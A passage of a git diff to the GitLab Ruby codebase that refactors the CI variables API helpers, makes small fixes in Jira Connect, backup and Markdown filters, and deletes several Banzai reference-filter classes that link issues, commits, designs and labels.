get ':namespace/:project/events' do
user_project = find_project_with_access(params)
merge_requests = authorized_merge_requests_for_project(user_project)
- merge_requests = merge_requests.preload(:author, :assignees, :metrics, source_project: :namespace, target_project: :namespace)
present paginate(merge_requests), with: ::API::Github::Entities::PullRequestEvent
end
- # rubocop: enable CodeReuse/ActiveRecord
params do
use :project_full_path
diff --git a/lib/api/variables.rb b/lib/api/variables.rb
index 94fa98b7a14..8b0745c6b5b 100644
--- a/lib/api/variables.rb
+++ b/lib/api/variables.rb
@@ -9,21 +9,7 @@ module API
feature_category :continuous_integration
- helpers do
- def filter_variable_parameters(params)
- # This method exists so that EE can more easily filter out certain
- # parameters, without having to modify the source code directly.
- params
- end
-
- def find_variable(params)
- variables = ::Ci::VariablesFinder.new(user_project, params).execute.to_a
-
- return variables.first unless variables.many? # rubocop: disable CodeReuse/ActiveRecord
-
- conflict!("There are multiple variables with provided parameters. Please use 'filter[environment_scope]'")
- end
- end
+ helpers Helpers::VariablesHelpers
params do
requires :id, type: String, desc: 'The ID of a project'
@@ -49,7 +35,7 @@ module API
end
# rubocop: disable CodeReuse/ActiveRecord
get ':id/variables/:key' do
- variable = find_variable(params)
+ variable = find_variable(user_project, params)
not_found!('Variable') unless variable
present variable, with: Entities::Ci::Variable
@@ -71,7 +57,7 @@ module API
variable = ::Ci::ChangeVariableService.new(
container: user_project,
current_user: current_user,
- params: { action: :create, variable_params: filter_variable_parameters(declared_params(include_missing: false)) }
+ params: { action: :create, variable_params: declared_params(include_missing: false) }
).execute
if variable.valid?
@@ -95,17 +81,13 @@ module API
end
# rubocop: disable CodeReuse/ActiveRecord
put ':id/variables/:key' do
- variable = find_variable(params)
+ variable = find_variable(user_project, params)
not_found!('Variable') unless variable
- variable_params = filter_variable_parameters(
- declared_params(include_missing: false)
- .except(:key, :filter)
- )
variable = ::Ci::ChangeVariableService.new(
container: user_project,
current_user: current_user,
- params: { action: :update, variable: variable, variable_params: variable_params }
+ params: { action: :update, variable: variable, variable_params: declared_params(include_missing: false).except(:key, :filter) }
).execute
if variable.valid?
@@ -125,7 +107,7 @@ module API
end
# rubocop: disable CodeReuse/ActiveRecord
delete ':id/variables/:key' do
- variable = find_variable(params)
+ variable = find_variable(user_project, params)
not_found!('Variable') unless variable
::Ci::ChangeVariableService.new(
diff --git a/lib/atlassian/jira_connect/client.rb b/lib/atlassian/jira_connect/client.rb
index 6f87b7b7d3c..ea83076c49b 100644
--- a/lib/atlassian/jira_connect/client.rb
+++ b/lib/atlassian/jira_connect/client.rb
@@ -141,9 +141,9 @@ module Atlassian
def user_notes_count(merge_requests)
return unless merge_requests
- Note.count_for_collection(merge_requests.map(&:id), 'MergeRequest').map do |count_group|
+ Note.count_for_collection(merge_requests.map(&:id), 'MergeRequest').to_h do |count_group|
[count_group.noteable_id, count_group.count]
- end.to_h
+ end
end
def jwt_token(http_method, uri)
diff --git a/lib/atlassian/jira_connect/serializers/build_entity.rb b/lib/atlassian/jira_connect/serializers/build_entity.rb
index 8372d2a62da..a3434c529a4 100644
--- a/lib/atlassian/jira_connect/serializers/build_entity.rb
+++ b/lib/atlassian/jira_connect/serializers/build_entity.rb
@@ -25,11 +25,11 @@ module Atlassian
# extract Jira issue keys from either the source branch/ref or the
# merge request title.
@issue_keys ||= begin
- pipeline.all_merge_requests.flat_map do |mr|
- src = "#{mr.source_branch} #{mr.title}"
- JiraIssueKeyExtractor.new(src).issue_keys
- end.uniq
- end
+ pipeline.all_merge_requests.flat_map do |mr|
+ src = "#{mr.source_branch} #{mr.title}"
+ JiraIssueKeyExtractor.new(src).issue_keys
+ end.uniq
+ end
end
private
diff --git a/lib/backup/repositories.rb b/lib/backup/repositories.rb
index 79b7b2c61f2..627bb44331b 100644
--- a/lib/backup/repositories.rb
+++ b/lib/backup/repositories.rb
@@ -249,7 +249,7 @@ module Backup
progress.puts " * #{display_repo_path} ... "
if repository.empty?
- progress.puts " * #{display_repo_path} ... " + "[SKIPPED]".color(:cyan)
+ progress.puts " * #{display_repo_path} ... " + "[EMPTY] [SKIPPED]".color(:cyan)
return
end
diff --git a/lib/banzai/filter/abstract_reference_filter.rb b/lib/banzai/filter/abstract_reference_filter.rb
deleted file mode 100644
index 2448c2c2bb2..00000000000
--- a/lib/banzai/filter/abstract_reference_filter.rb
+++ /dev/null
@@ -1,446 +0,0 @@
-# frozen_string_literal: true
-
-module Banzai
- module Filter
- # Issues, Merge Requests, Snippets, Commits and Commit Ranges share
- # similar functionality in reference filtering.
- class AbstractReferenceFilter < ReferenceFilter
- include CrossProjectReference
-
- # REFERENCE_PLACEHOLDER is used for re-escaping HTML text except found
- # reference (which we replace with placeholder during re-scaping). The
- # random number helps ensure it's pretty close to unique. Since it's a
- # transitory value (it never gets saved) we can initialize once, and it
- # doesn't matter if it changes on a restart.
- REFERENCE_PLACEHOLDER = "_reference_#{SecureRandom.hex(16)}_"
- REFERENCE_PLACEHOLDER_PATTERN = %r{#{REFERENCE_PLACEHOLDER}(\d+)}.freeze
-
- def self.object_class
- # Implement in child class
- # Example: MergeRequest
- end
-
- def self.object_name
- @object_name ||= object_class.name.underscore
- end
-
- def self.object_sym
- @object_sym ||= object_name.to_sym
- end
-
- # Public: Find references in text (like `!123` for merge requests)
- #
- # AnyReferenceFilter.references_in(text) do |match, id, project_ref, matches|
- # object = find_object(project_ref, id)
- # "<a href=...>#{object.to_reference}</a>"
- # end
- #
- # text - String text to search.
- #
- # Yields the String match, the Integer referenced object ID, an optional String
- # of the external project reference, and all of the matchdata.
- #
- # Returns a String replaced with the return of the block.
- def self.references_in(text, pattern = object_class.reference_pattern)
- text.gsub(pattern) do |match|
- if ident = identifier($~)
- yield match, ident, $~[:project], $~[:namespace], $~
- else
- match
- end
- end
- end
-
- def self.identifier(match_data)
- symbol = symbol_from_match(match_data)
-
- parse_symbol(symbol, match_data) if object_class.reference_valid?(symbol)
- end
-
- def identifier(match_data)
- self.class.identifier(match_data)
- end
-
- def self.symbol_from_match(match)
- key = object_sym
- match[key] if match.names.include?(key.to_s)
- end
-
- # Transform a symbol extracted from the text to a meaningful value
- # In most cases these will be integers, so we call #to_i by default
- #
- # This method has the contract that if a string `ref` refers to a
- # record `record`, then `parse_symbol(ref) == record_identifier(record)`.
- def self.parse_symbol(symbol, match_data)
- symbol.to_i
- end
-
- # We assume that most classes are identifying records by ID.
- #
- # This method has the contract that if a string `ref` refers to a
- # record `record`, then `class.parse_symbol(ref) == record_identifier(record)`.
- def record_identifier(record)
- record.id
- end
-
- def object_class
- self.class.object_class
- end
-
- def object_sym
- self.class.object_sym
- end
-
- def references_in(*args, &block)
- self.class.references_in(*args, &block)
- end
-
- # Implement in child class
- # Example: project.merge_requests.find
- def find_object(parent_object, id)
- end
-
- # Override if the link reference pattern produces a different ID (global
- # ID vs internal ID, for instance) to the regular reference pattern.
- def find_object_from_link(parent_object, id)
- find_object(parent_object, id)
- end
-
- # Implement in child class
- # Example: project_merge_request_url
- def url_for_object(object, parent_object)
- end
-
- def find_object_cached(parent_object, id)
- cached_call(:banzai_find_object, id, path: [object_class, parent_object.id]) do
- find_object(parent_object, id)
- end
- end
-
- def find_object_from_link_cached(parent_object, id)
- cached_call(:banzai_find_object_from_link, id, path: [object_class, parent_object.id]) do
- find_object_from_link(parent_object, id)
- end
- end
-
- def from_ref_cached(ref)
- cached_call("banzai_#{parent_type}_refs".to_sym, ref) do
- parent_from_ref(ref)
- end
- end
-
- def url_for_object_cached(object, parent_object)
- cached_call(:banzai_url_for_object, object, path: [object_class, parent_object.id]) do
- url_for_object(object, parent_object)
- end
- end
-
- def call
- return doc unless project || group || user
-
- ref_pattern = object_class.reference_pattern
- link_pattern = object_class.link_reference_pattern
-
- # Compile often used regexps only once outside of the loop
- ref_pattern_anchor = /\A#{ref_pattern}\z/
- link_pattern_start = /\A#{link_pattern}/
- link_pattern_anchor = /\A#{link_pattern}\z/
-
- nodes.each_with_index do |node, index|
- if text_node?(node) && ref_pattern
- replace_text_when_pattern_matches(node, index, ref_pattern) do |content|
- object_link_filter(content, ref_pattern)
- end
-
- elsif element_node?(node)
- yield_valid_link(node) do |link, inner_html|
- if ref_pattern && link =~ ref_pattern_anchor
- replace_link_node_with_href(node, index, link) do
- object_link_filter(link, ref_pattern, link_content: inner_html)
- end
-
- next
- end
-
- next unless link_pattern
-
- if link == inner_html && inner_html =~ link_pattern_start
- replace_link_node_with_text(node, index) do
- object_link_filter(inner_html, link_pattern, link_reference: true)
- end
-
- next
- end
-
- if link =~ link_pattern_anchor
- replace_link_node_with_href(node, index, link) do
- object_link_filter(link, link_pattern, link_content: inner_html, link_reference: true)
- end
-
- next
- end
- end
- end
- end
-
- doc
- end
-
- # Replace references (like `!123` for merge requests) in text with links
- # to the referenced object's details page.
- #
- # text - String text to replace references in.
- # pattern - Reference pattern to match against.
- # link_content - Original content of the link being replaced.
- # link_reference - True if this was using the link reference pattern,
- # false otherwise.
- #
- # Returns a String with references replaced with links. All links
- # have `gfm` and `gfm-OBJECT_NAME` class names attached for styling.
- def object_link_filter(text, pattern, link_content: nil, link_reference: false)
- references_in(text, pattern) do |match, id, project_ref, namespace_ref, matches|
- parent_path = if parent_type == :group
- full_group_path(namespace_ref)
- else
- full_project_path(namespace_ref, project_ref)
- end
-
- parent = from_ref_cached(parent_path)
-
- if parent
- object =
- if link_reference
- find_object_from_link_cached(parent, id)
- else
- find_object_cached(parent, id)
- end
- end
-
- if object
- title = object_link_title(object, matches)
- klass = reference_class(object_sym)
-
- data_attributes = data_attributes_for(link_content || match, parent, object,
- link_content: !!link_content,
- link_reference: link_reference)
- data = data_attribute(data_attributes)
-
- url =
- if matches.names.include?("url") && matches[:url]
- matches[:url]
- else
- url_for_object_cached(object, parent)
- end
-
- content = link_content || object_link_text(object, matches)
-
- link = %(<a href="#{url}" #{data}
- title="#{escape_once(title)}"
- class="#{klass}">#{content}</a>)
-
- wrap_link(link, object)
- else
- match
- end
- end
- end
-
- def wrap_link(link, object)
- link
- end
-
- def data_attributes_for(text, parent, object, link_content: false, link_reference: false)
- object_parent_type = parent.is_a?(Group) ? :group : :project
-
- {
- original: escape_html_entities(text),
- link: link_content,
- link_reference: link_reference,
- object_parent_type => parent.id,
- object_sym => object.id
- }
- end
-
- def object_link_text_extras(object, matches)
- extras = []
-
- if matches.names.include?("anchor") && matches[:anchor] && matches[:anchor] =~ /\A\#note_(\d+)\z/
- extras << "comment #{Regexp.last_match(1)}"
- end
-
- extension = matches[:extension] if matches.names.include?("extension")
-
- extras << extension if extension
-
- extras
- end
-
- def object_link_title(object, matches)
- object.title
- end
-
- def object_link_text(object, matches)
- parent = project || group || user
- text = object.reference_link_text(parent)
-
- extras = object_link_text_extras(object, matches)
- text += " (#{extras.join(", ")})" if extras.any?
-
- text
- end
-
- # Returns a Hash containing all object references (e.g. issue IDs) per the
- # project they belong to.
- def references_per_parent
- @references_per ||= {}
-
- @references_per[parent_type] ||= begin
- refs = Hash.new { |hash, key| hash[key] = Set.new }
- regex = [
- object_class.link_reference_pattern,
- object_class.reference_pattern
- ].compact.reduce { |a, b| Regexp.union(a, b) }
-
- nodes.each do |node|
- node.to_html.scan(regex) do
- path = if parent_type == :project
- full_project_path($~[:namespace], $~[:project])
- else
- full_group_path($~[:group])
- end
-
- if ident = identifier($~)
- refs[path] << ident
- end
- end
- end
-
- refs
- end
- end
-
- # Returns a Hash containing referenced projects grouped per their full
- # path.
- def parent_per_reference
- @per_reference ||= {}
-
- @per_reference[parent_type] ||= begin
- refs = Set.new
-
- references_per_parent.each do |ref, _|
- refs << ref
- end
-
- find_for_paths(refs.to_a).index_by(&:full_path)
- end
- end
-
- def relation_for_paths(paths)
- klass = parent_type.to_s.camelize.constantize
- result = klass.where_full_path_in(paths)
- return result if parent_type == :group
-
- result.includes(:namespace) if parent_type == :project
- end
-
- # Returns projects for the given paths.
- def find_for_paths(paths)
- if Gitlab::SafeRequestStore.active?
- cache = refs_cache
- to_query = paths - cache.keys
-
- unless to_query.empty?
- records = relation_for_paths(to_query)
-
- found = []
- records.each do |record|
- ref = record.full_path
- get_or_set_cache(cache, ref) { record }
- found << ref
- end
-
- not_found = to_query - found
- not_found.each do |ref|
- get_or_set_cache(cache, ref) { nil }
- end
- end
-
- cache.slice(*paths).values.compact
- else
- relation_for_paths(paths)
- end
- end
-
- def current_parent_path
- @current_parent_path ||= parent&.full_path
- end
-
- def current_project_namespace_path
- @current_project_namespace_path ||= project&.namespace&.full_path
- end
-
- def records_per_parent
- @_records_per_project ||= {}
-
- @_records_per_project[object_class.to_s.underscore] ||= begin
- hash = Hash.new { |h, k| h[k] = {} }
-
- parent_per_reference.each do |path, parent|
- record_ids = references_per_parent[path]
-
- parent_records(parent, record_ids).each do |record|
- hash[parent][record_identifier(record)] = record
- end
- end
-
- hash
- end
- end
-
- private
-
- def full_project_path(namespace, project_ref)
- return current_parent_path unless project_ref
-
- namespace_ref = namespace || current_project_namespace_path
- "#{namespace_ref}/#{project_ref}"
- end
-
- def refs_cache
- Gitlab::SafeRequestStore["banzai_#{parent_type}_refs".to_sym] ||= {}
- end
-
- def parent_type
- :project
- end
-
- def parent
- parent_type == :project ? project : group
- end
-
- def full_group_path(group_ref)
- return current_parent_path unless group_ref
-
- group_ref
- end
-
- def unescape_html_entities(text)
- CGI.unescapeHTML(text.to_s)
- end
-
- def escape_html_entities(text)
- CGI.escapeHTML(text.to_s)
- end
-
- def escape_with_placeholders(text, placeholder_data)
- escaped = escape_html_entities(text)
-
- escaped.gsub(REFERENCE_PLACEHOLDER_PATTERN) do |match|
- placeholder_data[Regexp.last_match(1).to_i]
- end
- end
- end
- end
-end
-
-Banzai::Filter::AbstractReferenceFilter.prepend_if_ee('EE::Banzai::Filter::AbstractReferenceFilter')
diff --git a/lib/banzai/filter/alert_reference_filter.rb b/lib/banzai/filter/alert_reference_filter.rb
deleted file mode 100644
index 228a4159c99..00000000000
--- a/lib/banzai/filter/alert_reference_filter.rb
+++ /dev/null
@@ -1,29 +0,0 @@
-# frozen_string_literal: true
-
-module Banzai
- module Filter
- class AlertReferenceFilter < IssuableReferenceFilter
- self.reference_type = :alert
-
- def self.object_class
- AlertManagement::Alert
- end
-
- def self.object_sym
- :alert
- end
-
- def parent_records(parent, ids)
- parent.alert_management_alerts.where(iid: ids.to_a)
- end
-
- def url_for_object(alert, project)
- ::Gitlab::Routing.url_helpers.details_project_alert_management_url(
- project,
- alert.iid,
- only_path: context[:only_path]
- )
- end
- end
- end
-end
diff --git a/lib/banzai/filter/autolink_filter.rb b/lib/banzai/filter/autolink_filter.rb
index d569711431c..a86c1bb2892 100644
--- a/lib/banzai/filter/autolink_filter.rb
+++ b/lib/banzai/filter/autolink_filter.rb
@@ -43,7 +43,7 @@ module Banzai
TEXT_QUERY = %Q(descendant-or-self::text()[
not(#{IGNORE_PARENTS.map { |p| "ancestor::#{p}" }.join(' or ')})
and contains(., '://')
- ]).freeze
+ ])
PUNCTUATION_PAIRS = {
"'" => "'",
diff --git a/lib/banzai/filter/commit_range_reference_filter.rb b/lib/banzai/filter/commit_range_reference_filter.rb
deleted file mode 100644
index d6b46236a49..00000000000
--- a/lib/banzai/filter/commit_range_reference_filter.rb
+++ /dev/null
@@ -1,46 +0,0 @@
-# frozen_string_literal: true
-
-module Banzai
- module Filter
- # HTML filter that replaces commit range references with links.
- #
- # This filter supports cross-project references.
- class CommitRangeReferenceFilter < AbstractReferenceFilter
- self.reference_type = :commit_range
-
- def self.object_class
- CommitRange
- end
-
- def self.references_in(text, pattern = CommitRange.reference_pattern)
- text.gsub(pattern) do |match|
- yield match, $~[:commit_range], $~[:project], $~[:namespace], $~
- end
- end
-
- def initialize(*args)
- super
-
- @commit_map = {}
- end
-
- def find_object(project, id)
- return unless project.is_a?(Project)
-
- range = CommitRange.new(id, project)
-
- range.valid_commits? ? range : nil
- end
-
- def url_for_object(range, project)
- h = Gitlab::Routing.url_helpers
- h.project_compare_url(project,
- range.to_param.merge(only_path: context[:only_path]))
- end
-
- def object_link_title(range, matches)
- nil
- end
- end
- end
-end
diff --git a/lib/banzai/filter/commit_reference_filter.rb b/lib/banzai/filter/commit_reference_filter.rb
deleted file mode 100644
index 3df003a88fa..00000000000
--- a/lib/banzai/filter/commit_reference_filter.rb
+++ /dev/null
@@ -1,86 +0,0 @@
-# frozen_string_literal: true
-
-module Banzai
- module Filter
- # HTML filter that replaces commit references with links.
- #
- # This filter supports cross-project references.
- class CommitReferenceFilter < AbstractReferenceFilter
- self.reference_type = :commit
-
- def self.object_class
- Commit
- end
-
- def self.references_in(text, pattern = Commit.reference_pattern)
- text.gsub(pattern) do |match|
- yield match, $~[:commit], $~[:project], $~[:namespace], $~
- end
- end
-
- def find_object(project, id)
- return unless project.is_a?(Project) && project.valid_repo?
-
- _, record = records_per_parent[project].detect { |k, _v| Gitlab::Git.shas_eql?(k, id) }
-
- record
- end
-
- def referenced_merge_request_commit_shas
- return [] unless noteable.is_a?(MergeRequest)
-
- @referenced_merge_request_commit_shas ||= begin
- referenced_shas = references_per_parent.values.reduce(:|).to_a
- noteable.all_commit_shas.select do |sha|
- referenced_shas.any? { |ref| Gitlab::Git.shas_eql?(sha, ref) }
- end
- end
- end
-
- # The default behaviour is `#to_i` - we just pass the hash through.
- def self.parse_symbol(sha_hash, _match)
- sha_hash
- end
-
- def url_for_object(commit, project)
- h = Gitlab::Routing.url_helpers
-
- if referenced_merge_request_commit_shas.include?(commit.id)
- h.diffs_project_merge_request_url(project,
- noteable,
- commit_id: commit.id,
- only_path: only_path?)
- else
- h.project_commit_url(project,
- commit,
- only_path: only_path?)
- end
- end
-
- def object_link_text_extras(object, matches)
- extras = super
-
- path = matches[:path] if matches.names.include?("path")
- if path == '/builds'
- extras.unshift "builds"
- end
-
- extras
- end
-
- private
-
- def parent_records(parent, ids)
- parent.commits_by(oids: ids.to_a)
- end
-
- def noteable
- context[:noteable]
- end
-
- def only_path?
- context[:only_path]
- end
- end
- end
-end
diff --git a/lib/banzai/filter/commit_trailers_filter.rb b/lib/banzai/filter/commit_trailers_filter.rb
index 5288db3b0cb..a615abc1989 100644
--- a/lib/banzai/filter/commit_trailers_filter.rb
+++ b/lib/banzai/filter/commit_trailers_filter.rb
@@ -36,7 +36,7 @@ module Banzai
next if html == content
- node.replace(html)
+ node.replace("\n\n#{html}")
end
doc
diff --git a/lib/banzai/filter/design_reference_filter.rb b/lib/banzai/filter/design_reference_filter.rb
deleted file mode 100644
index 1754fec93d4..00000000000
--- a/lib/banzai/filter/design_reference_filter.rb
+++ /dev/null
@@ -1,107 +0,0 @@
-# frozen_string_literal: true
-
-module Banzai
- module Filter
- class DesignReferenceFilter < AbstractReferenceFilter
- class Identifier
- include Comparable
- attr_reader :issue_iid, :filename
-
- def initialize(issue_iid:, filename:)
- @issue_iid = issue_iid
- @filename = filename
- end
-
- def as_composite_id(id_for_iid)
- id = id_for_iid[issue_iid]
- return unless id
-
- { issue_id: id, filename: filename }
- end
-
- def <=>(other)
- return unless other.is_a?(Identifier)
-
- [issue_iid, filename] <=> [other.issue_iid, other.filename]
- end
- alias_method :eql?, :==
-
- def hash
- [issue_iid, filename].hash
- end
- end
-
- self.reference_type = :design
-
- def find_object(project, identifier)
- records_per_parent[project][identifier]
- end
-
- def parent_records(project, identifiers)
- return [] unless project.design_management_enabled?
-
- iids = identifiers.map(&:issue_iid).to_set
- issues = project.issues.where(iid: iids)
- id_for_iid = issues.index_by(&:iid).transform_values(&:id)
- issue_by_id = issues.index_by(&:id)
-
- designs(identifiers, id_for_iid).each do |d|
- issue = issue_by_id[d.issue_id]
- # optimisation: assign values we have already fetched
- d.project = project
- d.issue = issue
- end
- end
-
- def relation_for_paths(paths)
- super.includes(:route, :namespace, :group)
- end
-
- def parent_type
- :project
- end
-
- # optimisation to reuse the parent_per_reference query information
- def parent_from_ref(ref)
- parent_per_reference[ref || current_parent_path]
- end
-
- def url_for_object(design, project)
- path_options = { vueroute: design.filename }
- Gitlab::Routing.url_helpers.designs_project_issue_path(project, design.issue, path_options)
- end
-
- def data_attributes_for(_text, _project, design, **_kwargs)
- super.merge(issue: design.issue_id)
- end
-
- def self.object_class
- ::DesignManagement::Design
- end
-
- def self.object_sym
- :design
- end
-
- def self.parse_symbol(raw, match_data)
- filename = match_data[:url_filename]
- iid = match_data[:issue].to_i
- Identifier.new(filename: CGI.unescape(filename), issue_iid: iid)
- end
-
- def record_identifier(design)
- Identifier.new(filename: design.filename, issue_iid: design.issue.iid)
- end
-
- private
-
- def designs(identifiers, id_for_iid)
- identifiers
- .map { |identifier| identifier.as_composite_id(id_for_iid) }
- .compact
- .in_groups_of(100, false) # limitation of by_issue_id_and_filename, so we batch
- .flat_map { |ids| DesignManagement::Design.by_issue_id_and_filename(ids) }
- end
- end
- end
-end
diff --git a/lib/banzai/filter/epic_reference_filter.rb b/lib/banzai/filter/epic_reference_filter.rb
deleted file mode 100644
index 70a6cb0a6dc..00000000000
--- a/lib/banzai/filter/epic_reference_filter.rb
+++ /dev/null
@@ -1,22 +0,0 @@
-# frozen_string_literal: true
-
-module Banzai
- module Filter
- # The actual filter is implemented in the EE mixin
- class EpicReferenceFilter < IssuableReferenceFilter
- self.reference_type = :epic
-
- def self.object_class
- Epic
- end
-
- private
-
- def group
- context[:group] || context[:project]&.group
- end
- end
- end
-end
-
-Banzai::Filter::EpicReferenceFilter.prepend_if_ee('EE::Banzai::Filter::EpicReferenceFilter')
diff --git a/lib/banzai/filter/external_issue_reference_filter.rb b/lib/banzai/filter/external_issue_reference_filter.rb
deleted file mode 100644
index fcf4863ab4f..00000000000
--- a/lib/banzai/filter/external_issue_reference_filter.rb
+++ /dev/null
@@ -1,118 +0,0 @@
-# frozen_string_literal: true
-
-module Banzai
- module Filter
- # HTML filter that replaces external issue tracker references with links.
- # References are ignored if the project doesn't use an external issue
- # tracker.
- #
- # This filter does not support cross-project references.
- class ExternalIssueReferenceFilter < ReferenceFilter
- self.reference_type = :external_issue
-
- # Public: Find `JIRA-123` issue references in text
- #
- # ExternalIssueReferenceFilter.references_in(text, pattern) do |match, issue|
- # "<a href=...>##{issue}</a>"
- # end
- #
- # text - String text to search.
- #
- # Yields the String match and the String issue reference.
- #
- # Returns a String replaced with the return of the block.
- def self.references_in(text, pattern)
- text.gsub(pattern) do |match|
- yield match, $~[:issue]
- end
- end
-
- def call
- # Early return if the project isn't using an external tracker
- return doc if project.nil? || default_issues_tracker?
-
- ref_pattern = issue_reference_pattern
- ref_start_pattern = /\A#{ref_pattern}\z/
-
- nodes.each_with_index do |node, index|
- if text_node?(node)
- replace_text_when_pattern_matches(node, index, ref_pattern) do |content|
- issue_link_filter(content)
- end
-
- elsif element_node?(node)
- yield_valid_link(node) do |link, inner_html|
- if link =~ ref_start_pattern
- replace_link_node_with_href(node, index, link) do
- issue_link_filter(link, link_content: inner_html)
- end
- end
- end
- end
- end
-
- doc
- end
-
- private
-
- # Replace `JIRA-123` issue references in text with links to the referenced
- # issue's details page.
- #
- # text - String text to replace references in.
- # link_content - Original content of the link being replaced.
- #
- # Returns a String with `JIRA-123` references replaced with links. All
- # links have `gfm` and `gfm-issue` class names attached for styling.
- def issue_link_filter(text, link_content: nil)
- self.class.references_in(text, issue_reference_pattern) do |match, id|
- url = url_for_issue(id)
- klass = reference_class(:issue)
- data = data_attribute(project: project.id, external_issue: id)
- content = link_content || match
-
- %(<a href="#{url}" #{data}
- title="#{escape_once(issue_title)}"
- class="#{klass}">#{content}</a>)
- end
- end
-
- def url_for_issue(issue_id)
- return '' if project.nil?
-
- url = if only_path?
- project.external_issue_tracker.issue_path(issue_id)
- else
- project.external_issue_tracker.issue_url(issue_id)
- end
-
- # Ensure we return a valid URL to prevent possible XSS.
- URI.parse(url).to_s
- rescue URI::InvalidURIError
- ''
- end
-
- def default_issues_tracker?
- external_issues_cached(:default_issues_tracker?)
- end
-
- def issue_reference_pattern
- external_issues_cached(:external_issue_reference_pattern)
- end
-
- def project
- context[:project]
- end
-
- def issue_title
- "Issue in #{project.external_issue_tracker.title}"
- end
-
- def external_issues_cached(attribute)
- cached_attributes = Gitlab::SafeRequestStore[:banzai_external_issues_tracker_attributes] ||= Hash.new { |h, k| h[k] = {} }
- cached_attributes[project.id][attribute] = project.public_send(attribute) if cached_attributes[project.id][attribute].nil? # rubocop:disable GitlabSecurity/PublicSend
- cached_attributes[project.id][attribute]
- end
- end
- end
-end
diff --git a/lib/banzai/filter/feature_flag_reference_filter.rb b/lib/banzai/filter/feature_flag_reference_filter.rb
deleted file mode 100644
index c11576901ce..00000000000
--- a/lib/banzai/filter/feature_flag_reference_filter.rb
+++ /dev/null
@@ -1,33 +0,0 @@
-# frozen_string_literal: true
-
-module Banzai
- module Filter
- class FeatureFlagReferenceFilter < IssuableReferenceFilter
- self.reference_type = :feature_flag
-
- def self.object_class
- Operations::FeatureFlag
- end
-
- def self.object_sym
- :feature_flag
- end
-
- def parent_records(parent, ids)
- parent.operations_feature_flags.where(iid: ids.to_a)
- end
-
- def url_for_object(feature_flag, project)
- ::Gitlab::Routing.url_helpers.edit_project_feature_flag_url(
- project,
- feature_flag.iid,
- only_path: context[:only_path]
- )
- end
-
- def object_link_title(object, matches)
- object.name
- end
- end
- end
-end
diff --git a/lib/banzai/filter/gollum_tags_filter.rb b/lib/banzai/filter/gollum_tags_filter.rb
index 8a7d3c49ffb..6de9f2b86f6 100644
--- a/lib/banzai/filter/gollum_tags_filter.rb
+++ b/lib/banzai/filter/gollum_tags_filter.rb
@@ -98,14 +98,15 @@ module Banzai
return unless image?(content)
- if url?(content)
- path = content
- elsif file = wiki.find_file(content, load_content: false)
- path = ::File.join(wiki_base_path, file.path)
- end
+ path =
+ if url?(content)
+ content
+ elsif file = wiki.find_file(content, load_content: false)
+ file.path
+ end
if path
- content_tag(:img, nil, data: { src: path }, class: 'gfm')
+ content_tag(:img, nil, src: path, class: 'gfm')
end
end
diff --git a/lib/banzai/filter/issuable_reference_filter.rb b/lib/banzai/filter/issuable_reference_filter.rb
deleted file mode 100644
index b91ba9f7256..00000000000
--- a/lib/banzai/filter/issuable_reference_filter.rb
+++ /dev/null
@@ -1,19 +0,0 @@
-# frozen_string_literal: true
-
-module Banzai
- module Filter
- class IssuableReferenceFilter < AbstractReferenceFilter
- def record_identifier(record)
- record.iid.to_i
- end
-
- def find_object(parent, iid)
- records_per_parent[parent][iid]
- end
-
- def parent_from_ref(ref)
- parent_per_reference[ref || current_parent_path]
- end
- end
- end
-end
diff --git a/lib/banzai/filter/issue_reference_filter.rb b/lib/banzai/filter/issue_reference_filter.rb
deleted file mode 100644
index 216418ee5fa..00000000000
--- a/lib/banzai/filter/issue_reference_filter.rb
+++ /dev/null
@@ -1,57 +0,0 @@
-# frozen_string_literal: true
-
-module Banzai
- module Filter
- # HTML filter that replaces issue references with links. References to
- # issues that do not exist are ignored.
- #
- # This filter supports cross-project references.
- #
- # When external issues tracker like Jira is activated we should not
- # use issue reference pattern, but we should still be able
- # to reference issues from other GitLab projects.
- class IssueReferenceFilter < IssuableReferenceFilter
- self.reference_type = :issue
-
- def self.object_class
- Issue
- end
-
- def url_for_object(issue, project)
- return issue_path(issue, project) if only_path?
-
- issue_url(issue, project)
- end
-
- def parent_records(parent, ids)
- parent.issues.where(iid: ids.to_a)
- end
-
- def object_link_text_extras(issue, matches)
- super + design_link_extras(issue, matches.named_captures['path'])
- end
-
- private
-
- def issue_path(issue, project)
- Gitlab::Routing.url_helpers.namespace_project_issue_path(namespace_id: project.namespace, project_id: project, id: issue.iid)
- end
-
- def issue_url(issue, project)
- Gitlab::Routing.url_helpers.namespace_project_issue_url(namespace_id: project.namespace, project_id: project, id: issue.iid)
- end
-
- def design_link_extras(issue, path)
- if path == '/designs' && read_designs?(issue)
- ['designs']
- else
- []
- end
- end
-
- def read_designs?(issue)
- issue.project.design_management_enabled?
- end
- end
- end
-end
diff --git a/lib/banzai/filter/iteration_reference_filter.rb b/lib/banzai/filter/iteration_reference_filter.rb
deleted file mode 100644
index 9d2b533e6da..00000000000
--- a/lib/banzai/filter/iteration_reference_filter.rb
+++ /dev/null
@@ -1,16 +0,0 @@
-# frozen_string_literal: true
-
-module Banzai
- module Filter
- # The actual filter is implemented in the EE mixin
- class IterationReferenceFilter < AbstractReferenceFilter
- self.reference_type = :iteration
-
- def self.object_class
- Iteration
- end
- end
- end
-end
-
-Banzai::Filter::IterationReferenceFilter.prepend_if_ee('EE::Banzai::Filter::IterationReferenceFilter')
diff --git a/lib/banzai/filter/label_reference_filter.rb b/lib/banzai/filter/label_reference_filter.rb
deleted file mode 100644
index a4d3e352051..00000000000
--- a/lib/banzai/filter/label_reference_filter.rb
+++ /dev/null
@@ -1,129 +0,0 @@
-# frozen_string_literal: true
-
-module Banzai
- module Filter
- # HTML filter that replaces label references with links.
- class LabelReferenceFilter < AbstractReferenceFilter
- self.reference_type = :label
-
- def self.object_class
- Label
- end
-
- def find_object(parent_object, id)
- find_labels(parent_object).find(id)
- end
-
- def references_in(text, pattern = Label.reference_pattern)
- labels = {}
- unescaped_html = unescape_html_entities(text).gsub(pattern) do |match|
- namespace, project = $~[:namespace], $~[:project]
- project_path = full_project_path(namespace, project)
- label = find_label_cached(project_path, $~[:label_id], $~[:label_name])
-
- if label
- labels[label.id] = yield match, label.id, project, namespace, $~
- "#{REFERENCE_PLACEHOLDER}#{label.id}"
- else
- match
- end
- end
-
- return text if labels.empty?
-
- escape_with_placeholders(unescaped_html, labels)
- end
-
- def find_label_cached(parent_ref, label_id, label_name)
- cached_call(:banzai_find_label_cached, label_name&.tr('"', '') || label_id, path: [object_class, parent_ref]) do
- find_label(parent_ref, label_id, label_name)
- end
- end
-
- def find_label(parent_ref, label_id, label_name)
